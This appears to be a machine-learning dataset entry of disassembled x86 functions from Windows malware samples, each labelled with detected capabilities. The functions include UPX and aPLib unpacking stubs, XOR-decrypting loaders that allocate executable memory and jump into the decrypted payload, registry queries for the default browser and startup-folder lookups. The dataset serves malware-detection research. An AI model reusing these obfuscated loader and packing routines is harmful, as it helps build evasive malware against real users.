joyce8/EMBER2024-capa huggingface dataset:
Function at 0x916cf0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x485000]
push edi
or ebp, 0xffffffff
jmp 0x916d12
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x916d19
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x916d08
mov eax, 1
add ebx, ebx
jne 0x916d2b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x916d3c
jne 0x916d5b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x916d5b
dec eax
add ebx, ebx
jne 0x916d48
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x916d20
add ebx, ebx
jne 0x916d57
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x916dad
xor ecx, ecx
sub eax, 3
jb 0x916d73
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x916de2
sar eax, 1
mov ebp, eax
jmp 0x916d7e
add ebx, ebx
jne 0x916d7e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x916d4c
inc ecx
add ebx, ebx
jne 0x916d8c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x916d4c
add ebx, ebx
jne 0x916d99
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x916d8e
jne 0x916daa
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x916d8e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x916dcc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x916dbe
jmp 0x916d0e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x916dcc
add edi, ecx
jmp 0x916d0e
pop esi
mov edi, esi
mov ecx, 0x3f55
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x916dea
cmp byte [edi], 0x14
jne 0x916dea
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x916def
lea edi, [esi + 0x513000]
mov eax, dword [edi]
or eax, eax
je 0x916e5e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x5170dc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x517190]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x916e1c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x517194]
or eax, eax
je 0x916e58
mov dword [ebx], eax
add ebx, 4
jmp 0x916e39
call dword [esi + 0x51719c]
mov ebp, dword [esi + 0x517198]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x916e92
sub esp, 0xffffff80
jmp 0x492f58
Function at 0x402380
Capabilities:
Get file version info
Reference cloudflare dns server

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe0
mov eax, dword [0x41b004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0xc8
lea eax, [ebp - 0xcc]
mov ebx, edx
push 0
push eax
mov dword [ebp - 0xe0], ebx
mov esi, ecx
call fcn.00403ca0
mov eax, dword [esi + 0x10]
add esp, 0xc
dec eax
mov byte [ebp - 0xd9], 0
cmp eax, 0xfff
ja 0x40253c
cmp dword [esi + 0x14], 8
mov eax, esi
jb 0x4023d5
mov eax, dword [esi]
push edi
lea ecx, [ebp - 0xd0]
push ecx
push eax
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
mov edi, eax
test edi, edi
je 0x402517
xor ecx, ecx
lea eax, [edi + 1]
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00402885
mov ebx, eax
lea eax, [edi*2 + 2]
push eax
push 0
push ebx
call fcn.00403ca0
add esp, 0x10
cmp dword [esi + 0x14], 8
jb 0x402424
mov esi, dword [esi]
push ebx
push edi
push dword [ebp - 0xd0]
push esi
call dword [sym.imp.VERSION.dll_GetFileVersionInfoW]
test eax, eax
je 0x4024df
lea eax, [ebp - 0xd4]
push eax
lea eax, [ebp - 0xd8]
push eax
push 0x419a68
push ebx
call dword [sym.imp.VERSION.dll_VerQueryValueW]
test eax, eax
je 0x4024f7
mov eax, dword [ebp - 0xd8]
mov ecx, dword [eax + 0x14]
mov edx, dword [eax + 0x10]
movzx eax, cx
push eax
shr ecx, 0x10
push ecx
movzx eax, dx
push eax
shr edx, 0x10
lea eax, [ebp - 0xcc]
push edx
push 0x419a6c
push eax
call fcn.004025d0
lea edx, [ebp - 0xcc]
add esp, 0x18
lea ecx, [edx + 2]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x402496
sub edx, ecx
lea eax, [ebp - 0xcc]
mov ecx, dword [ebp - 0xe0]
sar edx, 1
push edx
push eax
call fcn.00401960
push ebx
mov byte [ebp - 0xd9], 1
call fcn.0040275f
mov al, byte [ebp - 0xd9]
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004026ed
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0xe0]
push 7
push str.1.0.0.1
call fcn.00401960
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
call fcn.0040275f
mov al, byte [ebp - 0xd9]
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004026ed
mov esp, ebp
pop ebp
ret
push 7
push str.0.0.0.0
mov ecx, ebx
call fcn.00401960
mov al, byte [ebp - 0xd9]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004026ed
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
pop esi
xor ecx, ebp
pop ebx
call fcn.004026ed
mov esp, ebp
pop ebp
ret
Function at 0xf049f8
Capabilities:
Encode data using xor

Disassembly:
jmp 0xf04a02
pushal
call 0xf04a08
pop ebp
sub ebp, 0x10
sub ebp, 0xb049f8
jmp 0xf04a1e
mov eax, 0xb049f8
add eax, ebp
add eax, 0x4c
mov ecx, 0x5e1
mov edx, 0xf3fabcd1
xor byte [eax], dl
inc eax
dec ecx
jne 0xf04a35
jmp 0xf04a48
pop edx
sbb al, 0x5a
pop eax
in eax, dx
rcl ecx, 1
rcl dword [eax + 0x10]
sub ecx, edx
rcl ecx, 1
rcr byte [ecx + ebp*2], cl
xlatb
rcl ecx, 1
shr dword [ebx - 7], 1
rcl ecx, 1
shl dword [esi], 1
xor edx, edx
sbb dword [edx + 0x50], ebx
fst st(1)
rcl ecx, 1
rcl byte [esp + ebx*2], cl
mov ch, 0xf5
sub eax, 0x5cf5d558
mov ch, 0xf5
sub eax, 0xb9f5d558
test esp, eax
sar dword [ecx - 0x2ea01a8e], 1
sar ch, 1
cmc
mov ecx, 0x79f44f50
cmp esp, edx
rcl ecx, 1
sar dword [eax], 1
in eax, 0xd1
rcl ecx, 1
pop esp
mov ch, 0xf5
sub eax, 0x85f5fd58
mov word [edx + 0x54], ds
invalid
Function at 0x2e01416e
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x10
mov eax, 0x2e0306d8
call fcn.2e001511
mov edi, ecx
mov dword [ebp - 0x18], edi
xor ebx, ebx
mov dword [edi + 0x14], 0xf
mov dword [edi + 0x10], ebx
mov byte [edi], bl
mov dword [ebp - 4], ebx
call fcn.2e014eb5
test ax, ax
je 0x2e014216
lea eax, [ebp - 0x10]
push eax
push str.softwaremicrosoftwindows_shell_associationsurlassociationshttpuserchoice
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e014216
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
push ebx
push str.progid
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e01420d
mov eax, dword [ebp - 0x14]
inc eax
push eax
call fcn.2e01e76f
mov esi, eax
pop ecx
mov dword [ebp - 0x1c], esi
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 1
push eax
push esi
push ebx
push ebx
push str.progid
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e014200
push esi
mov ecx, edi
call fcn.2e010e6c
push 1
push esi
mov byte [ebp - 4], bl
call fcn.2e01e76f
pop ecx
pop ecx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
call fcn.2e00155b
ret

Function at 0x2e014ca3
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x28
mov eax, 0x2e030759
call fcn.2e02e6de
mov esi, dword [ebp + 8]
xor eax, eax
mov bl, al
mov edi, dword [ebp + 0xc]
cmp dword [ecx + 0x10], eax
jbe 0x2e014da7
push ecx
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
call fcn.2e014b8d
and dword [ebp - 4], 0
lea ecx, [ebp - 0x28]
push esi
call fcn.2e010d8f
cmp dword [ebp - 0x14], 0x10
lea ecx, [ebp - 0x30]
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push ecx
push eax
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e014d65
lea eax, [ebp - 0x2c]
push eax
push 0
push 0x2e033941
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
jne 0x2e014d5c
mov eax, dword [ebp - 0x2c]
inc eax
push eax
call fcn.2e01e76f
mov esi, eax
pop ecx
mov dword [ebp - 0x34], esi
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 1
push eax
push esi
push 0
push 0
push 0x2e033941
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e014d4e
push esi
mov ecx, edi
call fcn.2e010e6c
mov bl, 1
push 1
push esi
mov byte [ebp - 4], 0
call fcn.2e01e76f
pop ecx
pop ecx
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x2e014da7
mov ecx, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 4], 2
cmp eax, 0x1000
jb 0x2e014d9e
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.2e01e76f
mov eax, dword [ebp - 0x2c]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x34]
push eax
push ecx
call fcn.2e01e76f
pop ecx
pop ecx
mov al, bl
call fcn.2e02e6bc
ret 8
Function at 0x2e014de1
Capabilities:
Query or enumerate registry value

Disassembly:
push 0xc
mov eax, 0x2e03078d
call fcn.2e001511
lea eax, [ebp - 0x10]
xor ebx, ebx
push eax
push dword [ebp + 8]
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x2e014e1b
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e014e81
lea eax, [ebp - 0x14]
mov edi, 0x2e033941
push eax
push ebx
push edi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
jne 0x2e014e78
mov eax, dword [ebp - 0x14]
test eax, eax
js 0x2e014e78
inc eax
push eax
call fcn.2e01e76f
mov esi, eax
pop ecx
mov dword [ebp - 0x18], esi
lea eax, [ebp - 0x14]
mov dword [ebp - 4], ebx
push eax
push esi
push ebx
push ebx
push edi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e014e6a
mov ecx, dword [ebp + 0xc]
push esi
call fcn.2e010e6c
mov bl, 1
or dword [ebp - 4], 0xffffffff
push 1
push esi
call fcn.2e01e76f
pop ecx
pop ecx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
call fcn.2e00155b
ret 8
Function at 0x2e01e565
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x30
mov eax, 0x2e030a97
call fcn.2e02e6de
lea eax, [ebp - 0x2c]
xor ebx, ebx
push eax
push str.softwaremicrosoftwindows_shell_associationsurlassociationshttpuserchoice
push 0x80000001
mov edi, ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e01e683
lea eax, [ebp - 0x30]
push eax
push ebx
push ebx
push ebx
push str.progid
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e01e67a
mov eax, dword [ebp - 0x30]
inc eax
push eax
call fcn.2e01e76f
mov esi, eax
pop ecx
mov dword [ebp - 0x3c], esi
lea eax, [ebp - 0x30]
mov dword [ebp - 4], ebx
push eax
push esi
push ebx
push ebx
push str.progid
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
xor ecx, ecx
inc ecx
test eax, eax
jne 0x2e01e66d
push esi
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], bl
call fcn.2e010e6c
push str.IE.HTTP
lea ecx, [ebp - 0x28]
call fcn.2e01e76f
test al, al
jne 0x2e01e620
push ebx
push str.AppX
lea ecx, [ebp - 0x28]
call fcn.2e01e76f
push 1
test eax, eax
pop edx
cmove edi, edx
jmp 0x2e01e623
xor edx, edx
inc edx
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x2e01e65d
mov ecx, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ecx
mov byte [ebp - 4], dl
cmp eax, 0x1000
jb 0x2e01e654
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.2e01e76f
mov eax, dword [ebp - 0x34]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x38]
push eax
push ecx
call fcn.2e01e76f
pop ecx
pop ecx
xor ecx, ecx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0xf
inc ecx
mov byte [ebp - 0x28], bl
or dword [ebp - 4], 0xffffffff
push ecx
push esi
call fcn.2e01e76f
pop ecx
pop ecx
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ax, di
call fcn.2e02e6bc
ret
Function at 0x2e01e76f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x2e01e77e
pop dword [ebp - 0x50]
mov eax, 0xeecf2d6b
sub eax, 0xc0cd45ed
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x43f5ce05
sub dword [ebp - 0x60], 0xf5a388ba
mov dword [ebp - 0x5c], 0xc8997f0e
sub dword [ebp - 0x5c], 0x966632c9
mov dword [ebp - 0x58], 0x996af524
add dword [ebp - 0x58], 0xb2e14f0a
mov dword [ebp - 0x54], 0x63c9f1d4
add dword [ebp - 0x54], 0x9c360e2c
lea eax, [ebp - 0x60]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x8e2e7a7d
add dword [ebp - 0x60], 0xe643eed9
mov dword [ebp - 0x5c], 0x99c6327e
add dword [ebp - 0x5c], 0xa7a62ef7
mov dword [ebp - 0x58], 0xce4b4b6b
add dword [ebp - 0x58], 0x95242101
mov dword [ebp - 0x54], 0x9ab072bc
add dword [ebp - 0x54], 0x654f8d44
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0x708a3a94
add eax, 0xbd78f628
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x3dc5e
push 0
call eax
mov ecx, 0x39f6
xor esi, esi
add esi, eax
mov edi, 0x395b49ca
add edi, 0xf4aa3436
add edi, dword [ebp - 0x50]
mov ebx, 0xdbf29828
add ebx, 0x3d709c35
sub dword [ebp - 0x34], ebx
mov edx, dword [edi]
xor dword [ebp - 8], ecx
xor edx, ebx
add dword [ebp - 0x34], edi
mov dword [esi], edx
xor dword [ebp - 0xc], 0xf2726bba
add esi, 0xb7585a7f
sub esi, 0xb7585a7b
add edi, 4
loop 0x2e01e897
add eax, 0xdaab
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xd00cc378
sub ecx, 0xa20cc378
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x10005560
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x1000556f
pop dword [ebp - 0x20]
mov eax, 0x6dcaafa1
add eax, 0xa235a5ce
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0xfcee82b2
add dword [ebp - 0x30], 0x5163c299
mov dword [ebp - 0x2c], 0xccb65688
add dword [ebp - 0x2c], 0x657cf5bd
mov dword [ebp - 0x28], 0x8fecf79b
sub dword [ebp - 0x28], 0x43a0b36d
mov dword [ebp - 0x24], 0xd5d80849
sub dword [ebp - 0x24], 0xd5d80849
lea eax, [ebp - 0x30]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x5475c345
add dword [ebp - 0x30], 0x1ffca611
mov dword [ebp - 0x2c], 0x8063a37c
add dword [ebp - 0x2c], 0xc108bdf9
mov dword [ebp - 0x28], 0x65fb1b83
sub dword [ebp - 0x28], 0x28baf17
mov dword [ebp - 0x24], 0xd47eb393
add dword [ebp - 0x24], 0x2b814c6d
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x35f8b
push 0
call eax
mov ecx, 0x3cb7
xor esi, esi
add esi, eax
mov edi, 0x997447ab
add edi, 0x768dee55
add edi, dword [ebp - 0x20]
mov edx, 0x3a060d03
add dword [ebp - 4], ebx
mov ebx, dword [edi]
mov dword [ebp - 0xc], 0x5b7393cd
xor ebx, edx
add dword [ebp - 0xc], edi
mov dword [esi], ebx
sub dword [ebp - 0x10], edx
add esi, 0xc5d04668
sub esi, 0xc5d04664
add edi, 0x123b6cdc
add edi, 0xedc49328
loop 0x1000567d
add eax, 0xd579ae80
sub eax, 0xd578c8d1
xor ebx, ebx
add ebx, eax
add eax, 0x536aa29e
add eax, 0xac955d67
mov ecx, 0xc6572bff
add ecx, 0x49a8d401
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0xbbe058
Capabilities:
Decompress data using aplib

Disassembly:
call 0xbbe1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xbbe07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xbbe06a
add dl, dl
jne 0xbbe089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xbbe0dc
xor eax, eax
add dl, dl
jne 0xbbe096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xbbe17d
add dl, dl
jne 0xbbe0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xbbe0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xbbe0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xbbe0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xbbe0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xbbe075
mov eax, 1
add dl, dl
jne 0xbbe0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xbbe0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xbbe0e1
sub eax, ebx
mov ebx, 1
jne 0xbbe128
mov ecx, 1
add dl, dl
jne 0xbbe10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xbbe119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xbbe105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xbbe075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xbbe13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xbbe14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xbbe136
cmp eax, 0x7d00
jae 0xbbe16d
cmp eax, 0x500
jb 0xbbe168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xbbe075
cmp eax, 0x7f
ja 0xbbe170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xbbe075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xbbe19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xbbe075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x404a50
Capabilities:
Get graphical window text

Disassembly:
xor ecx, ecx
test edx, edx
je 0x404a83
push edx
cmp cx, word [edx]
je 0x404a7c
cmp cx, word [edx + 2]
je 0x404a79
cmp cx, word [edx + 4]
je 0x404a76
cmp cx, word [edx + 6]
je 0x404a73
add edx, 8
jmp 0x404a57
add edx, 2
add edx, 2
add edx, 2
mov ecx, edx
pop edx
sub ecx, edx
shr ecx, 1
jmp fcn.00404a2c

Function at 0x40e6a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffce0
push ebx
push esi
push edi
mov dword [ebp - 0x308], ecx
mov ebx, edx
mov dword [ebp - 0x304], eax
test byte [ebx + 1], 0x20
jne 0x40e6ca
mov eax, 0x80070057
call fcn.0040e2e0
mov ax, word [ebx]
mov edx, eax
and dx, 0xfff
cmp dx, 0xc
jne 0x40e851
test ah, 0x40
je 0x40e6f0
mov eax, dword [ebx + 8]
mov eax, dword [eax]
mov dword [ebp - 0x314], eax
jmp 0x40e6f9
mov eax, dword [ebx + 8]
mov dword [ebp - 0x314], eax
mov eax, dword [ebp - 0x314]
movzx eax, word [eax]
mov dword [ebp - 0x310], eax
mov ebx, dword [ebp - 0x310]
dec ebx
test ebx, ebx
jl 0x40e77e
inc ebx
xor edi, edi
lea esi, [ebp - 0x300]
mov eax, esi
mov dword [ebp - 0x320], eax
mov eax, dword [ebp - 0x320]
add eax, 4
push eax
lea eax, [edi + 1]
push eax
mov eax, dword [ebp - 0x314]
push eax
call sub.KERNEL32.DLL_lstrlenA
call fcn.0040e2e0
lea eax, [ebp - 0x30c]
push eax
lea eax, [edi + 1]
push eax
mov eax, dword [ebp - 0x314]
push eax
call sub.KERNEL32.DLL_GetModuleHandleA
call fcn.0040e2e0
mov eax, dword [ebp - 0x320]
mov edx, dword [ebp - 0x30c]
sub edx, dword [eax + 4]
inc edx
mov eax, dword [ebp - 0x320]
mov dword [eax], edx
inc edi
add esi, 8
dec ebx
jne 0x40e71c
lea eax, [ebp - 0x300]
push eax
mov eax, dword [ebp - 0x310]
push eax
push 0xc
call sub.KERNEL32.DLL_WriteFile
mov esi, eax
test esi, esi
jne 0x40e79e
call fcn.0040e038
mov eax, dword [ebp - 0x304]
call fcn.0040e5f8
mov eax, dword [ebp - 0x304]
mov word [eax], 0x200c
mov eax, dword [ebp - 0x304]
mov dword [eax + 8], esi
mov ebx, dword [ebp - 0x310]
dec ebx
test ebx, ebx
jl 0x40e7e2
inc ebx
lea eax, [ebp - 0x2fc]
lea edx, [ebp - 0x100]
mov ecx, dword [eax]
mov dword [edx], ecx
add edx, 4
add eax, 8
dec ebx
jne 0x40e7d5
push ebp
mov ebx, dword [ebp - 0x310]
dec ebx
mov eax, ebx
call fcn.0040e614
pop ecx
test al, al
je 0x40e842
lea eax, [ebp - 0x318]
push eax
lea eax, [ebp - 0x100]
push eax
mov eax, dword [ebp - 0x314]
push eax
call sub.KERNEL32.DLL_LocalAlloc
call fcn.0040e2e0
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 0x100]
push eax
push esi
call sub.KERNEL32.DLL_LocalAlloc
call fcn.0040e2e0
mov eax, dword [ebp - 0x318]
mov edx, eax
mov eax, dword [ebp - 0x31c]
call dword [ebp - 0x308]
push ebp
mov eax, ebx
call fcn.0040e644
pop ecx
test al, al
jne 0x40e7e2
jmp 0x40e863
push ebx
mov eax, dword [ebp - 0x304]
push eax
call sub.KERNEL32.DLL_VirtualQuery
call fcn.0040e2e0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4153b0
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x4153b6
ret
Function at 0x41b098
Capabilities:
Create process on windows
Get common file path
Get startup folder

Disassembly:
push ebx
add esp, 0xfffffef4
mov ebx, eax
push esp
push 7
push 0
call sub.shell32.dll_ShellExecuteA
lea eax, [esp + 4]
push eax
mov eax, dword [esp + 4]
push eax
call sub.shell32.dll_SHGetSpecialFolderLocation
mov edx, ebx
lea eax, [esp + 4]
call fcn.004083b0
add esp, 0x10c
pop ebx
ret

Function at 0x41b780
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ecx
mov dword [esp], 1
push 0
lea eax, [esp + 4]
push eax
call sub.wininet.dll_InternetGetConnectedState
cmp eax, 1
sbb eax, eax
inc eax
pop edx
ret
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x40560d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x40561c
pop dword [ebp - 0x38]
mov eax, 0x40561c
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0xe52ca415
add dword [ebp - 0x48], 0x6925a136
mov dword [ebp - 0x44], 0xa9bb9c73
sub dword [ebp - 0x44], 0x7788502e
mov dword [ebp - 0x40], 0x6b2586f
add dword [ebp - 0x40], 0x4599ebbf
mov dword [ebp - 0x3c], 0x4ed38297
sub dword [ebp - 0x3c], 0x4ed38297
lea eax, [ebp - 0x48]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0xc1c31ce8
add dword [ebp - 0x48], 0xb2af4c6e
mov dword [ebp - 0x44], 0xb897fafb
sub dword [ebp - 0x44], 0x772b9986
mov dword [ebp - 0x40], 0xf040ef6
add dword [ebp - 0x40], 0x546b5d76
mov dword [ebp - 0x3c], 0xc376642f
add dword [ebp - 0x3c], 0x3c899bd1
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0xf629c563
sub eax, 0xf5e8f517
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x3cecf
push 0
call eax
mov ecx, 0x371f76fc
add ecx, 0xc8e0dea4
xor ebx, ebx
add ebx, eax
mov edi, 0x41b000
add edi, dword [ebp - 0x38]
mov edx, 0x44917c33
sub edx, 0x2db87126
xor dword [ebp - 0x20], ecx
mov esi, dword [edi]
xor dword [ebp - 0xc], 0xe0a57e4b
add esi, edx
sub dword [ebp - 0x24], 0x330e4bd8
mov dword [ebx], esi
sub dword [ebp - 0x28], 0x85aaef0f
add ebx, 0xfab2eb93
add ebx, 0x54d1471
add edi, 4
loop 0x405730
add eax, 0x14953
xor ebx, ebx
add ebx, eax
add eax, 0x4da47869
add eax, 0xb25b879c
mov ecx, 0xd6df4c12
add ecx, 0x2960b3ee
add ecx, dword [ebp - 0x38]
call ebx
leave
ret